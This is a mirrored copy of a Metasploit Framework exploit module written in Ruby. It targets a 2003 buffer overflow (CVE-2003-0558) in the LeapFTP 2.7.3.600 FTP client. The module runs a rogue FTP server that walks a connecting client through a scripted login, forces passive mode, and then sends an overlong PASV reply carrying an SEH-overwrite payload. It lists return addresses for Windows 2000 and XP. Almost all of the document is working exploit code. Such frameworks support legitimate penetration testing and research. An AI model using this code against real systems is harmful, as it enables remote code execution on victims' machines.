Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/leapftp_pasv_reply.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',
17
'Description' => %q{
18
This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600
19
client that is triggered through an excessively long PASV reply command. This
20
module was ported from the original exploit by drG4njubas with minor improvements.
21
},
22
'Author' => [ 'aushack' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2003-0558' ],
26
[ 'OSVDB', '4587' ],
27
[ 'BID', '7860' ],
28
[ 'EDB', '54' ]
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'seh',
32
},
33
'Payload' => {
34
'Space' => 1000,
35
'BadChars' => "\x00\x0a\x0d\().,",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
# Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.
41
[ 'Universal LeapFTP.exe', { 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe
42
[ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
43
[ 'Windows XP SP0 English', { 'Ret' => 0x7660139c } ], # p/p/r cscdll.dll
44
],
45
'Privileged' => false,
46
'DisclosureDate' => '2003-06-09',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
59
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
60
]
61
)
62
end
63
64
def on_client_connect(client)
65
return if ((p = regenerate_payload(client)) == nil)
66
67
buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
68
client.put(buffer)
69
end
70
71
def on_client_data(client)
72
client.get_once
73
74
# This could be improved if anyone wants to write a FTP server API.
75
user = "331 Please specify the password.\r\n"
76
client.put(user)
77
78
client.get_once
79
pass = "230 Login successful.\r\n"
80
client.put(pass)
81
82
client.get_once
83
syst = "215 Windows_NT 5.1\r\n"
84
client.put(syst)
85
86
client.get_once
87
rest = "350 Restart position accepted (100).\r\n"
88
client.put(rest)
89
90
client.get_once
91
rest = "350 Restart position accepted (0).\r\n"
92
client.put(rest)
93
94
client.get_once
95
pwd = "257 \"/\"\r\n"
96
client.put(pwd)
97
98
client.get_once
99
type = "200 Switching to ASCII mode.\r\n"
100
client.put(type)
101
102
client.get_once
103
port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.
104
client.put(port)
105
106
client.get_once
107
pasv = "227 Entering Passive Mode ("
108
pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)
109
pasv << "," + rand_text_numeric(1)
110
pasv << "," + rand_text_numeric(1)
111
pasv << "," + rand_text_numeric(1)
112
pasv << "," + rand_text_numeric(1)
113
pasv << "," + rand_text_numeric(1)
114
pasv << ")\r\n"
115
116
client.put(pasv)
117
118
handler(client)
119
service.close_client(client)
120
end
121
end
122
123